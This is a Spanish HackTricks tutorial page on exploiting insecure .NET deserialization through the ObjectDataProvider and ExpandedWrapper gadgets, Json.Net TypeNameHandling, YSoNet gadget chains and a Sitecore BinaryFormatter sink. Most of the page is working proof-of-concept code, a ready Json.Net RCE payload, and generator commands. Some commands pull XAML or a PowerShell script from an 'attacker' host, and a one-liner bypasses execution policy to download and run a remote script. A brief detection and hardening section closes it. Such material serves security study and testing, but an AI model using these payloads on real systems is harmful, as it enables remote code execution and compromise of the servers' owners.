Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta entrada está dedicada a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las bibliotecas de Serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.

¿Cómo es esto posible

The System.Windows.Data namespace, found within the PresentationFramework.dll at C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is where the ObjectDataProvider is defined and implemented.

Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

As you can observe when MethodName is set base.Refresh() is called, lets take a look to what does it do:

Ok, lets continue seeing what does this.BeginQuery() does. BeginQuery is overridden by ObjectDataProvider and this is what it does:

Note that at the end of the code it's calling this.QueryWorke(null). Let's see what does that execute:

Note that this isn't the complete code of the function QueryWorker but it shows the interesting part of it: The code calls this.InvokeMethodOnInstance(out ex); this is the line where the method set is invoked.

If you want to check that just setting the MethodName** it will be executed**, you can run this code:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Ten en cuenta que debes añadir como referencia C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para cargar System.Windows.Data

ExpandedWrapper

Al usar el exploit anterior habrá casos en los que el objeto será deserializado como una instancia de ObjectDataProvider (por ejemplo en la vuln de DotNetNuke, usando XmlSerializer, el objeto fue deserializado usando GetType). Entonces, no tendrá conocimiento del tipo de objeto que está envuelto en la instancia ObjectDataProvider (Process, por ejemplo). Puedes encontrar más información sobre la vuln de DotNetNuke aquí.

Esta clase permite especificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto fuente (ObjectDataProvider) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado antes, porque podremos envolver ObjectDataProvider dentro de una instancia ExpandedWrapper y cuando se deserialice esta clase creará el objeto ObjectDataProvider que ejecutará la función indicada en MethodName.

Puedes comprobar este wrapper con el siguiente código:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

En la página oficial se indica que esta librería permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Entonces, si pudiéramos deserialize the ObjectDataProvider gadget, podríamos provocar una RCE simplemente deserializando un objeto.

Ejemplo de Json.Net

Primero, veamos un ejemplo de cómo serialize/deserialize un objeto usando esta librería:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusando de Json.Net

Usando ysoserial.net creé el exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En este código puedes probar el exploit, simplemente ejecútalo y verás que se ejecuta calc:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden ser abusadas cuando una aplicación realiza deserialización .NET insegura. Herramientas modernas de red-team como YSoNet (y la más antigua ysoserial.net) automatizan la creación de grafos de objetos maliciosos listos para usar para docenas de gadgets y formatos de serialización.

A continuación hay una referencia condensada de las cadenas más útiles incluidas en YSoNet junto con una breve explicación de cómo funcionan y comandos de ejemplo para generar los payloads.

Cadena de gadgetsIdea clave / PrimitivaSerializadores comunesComando YSoNet
TypeConfuseDelegateCorrompe el registro DelegateSerializationHolder de modo que, una vez materializado, el delegate apunte a cualquier método suministrado por el atacante (p. ej. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para bypassear el filtrado de tipos en .NET ≥4.8 e invocar directamente el constructor de una clase proporcionada o compilar un archivo C# al vueloBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourAprovecha la representación XML legada de System.Data.DataSet para instanciar tipos arbitrarios rellenando los campos <ColumnMapping> / <DataType> (opcionalmente falsificando el assembly con --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsEn runtimes con WPF habilitado (> .NET 5) encadena getters de propiedades hasta llegar a System.CodeDom.Compiler.CompilerResults, y luego compila o carga un DLL suministrado con -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (revisión)Usa WPF System.Windows.Data.ObjectDataProvider para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante conveniente --xamlurl para alojar el XAML malicioso de forma remotaBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Inserta ScriptBlock dentro de System.Management.Automation.PSObject que se ejecuta cuando PowerShell deserializa el objetoPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Todos los payloads se escriben en stdout por defecto, lo que hace trivial canalizarlos hacia otras herramientas (p. ej. generadores de ViewState, codificadores base64, clientes HTTP).

Compilación / Instalación de YSoNet

Si no hay binarios precompilados disponibles en Actions ➜ Artifacts / Releases, el siguiente one-liner de PowerShell configurará un entorno de compilación, clonará el repositorio y compilará todo en modo Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

El ejecutable compilado ysonet.exe se puede encontrar en ysonet/bin/Release/.

Detección y endurecimiento

  • Detectar procesos hijo inesperados de w3wp.exe, PowerShell.exe, o cualquier proceso que deserialice datos proporcionados por el usuario (p. ej. MessagePack, Json.NET).
  • Habilitar y hacer cumplir el filtrado por tipo (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) siempre que no se pueda eliminar el legado BinaryFormatter / NetDataContractSerializer.
  • Cuando sea posible, migrar a System.Text.Json o DataContractJsonSerializer con convertidores basados en lista blanca.
  • Bloquear ensamblados WPF peligrosos (PresentationFramework, System.Workflow.*) para que no se carguen en procesos web que no deberían necesitarlos.

Sink del mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter

Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:

  • Sink API: Sitecore.Convert.Base64ToObject(string) envuelve new BinaryFormatter().Deserialize(...).
  • Ruta de activación: pipeline convertToRuntimeHtmlConvertWebControls, que busca un elemento hermano con id="{iframeId}_inner" y lee un atributo value que se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.

Ejemplo mínimo de extremo a extremo (autenticado):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: cualquier BinaryFormatter chain que devuelva un string (los side‑effects se ejecutan durante la deserialization). Vea YSoNet/ysoserial.net para generar payloads.

Para una cadena completa que comienza pre‑auth con HTML cache poisoning en Sitecore y conduce a este sink:

Sitecore

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks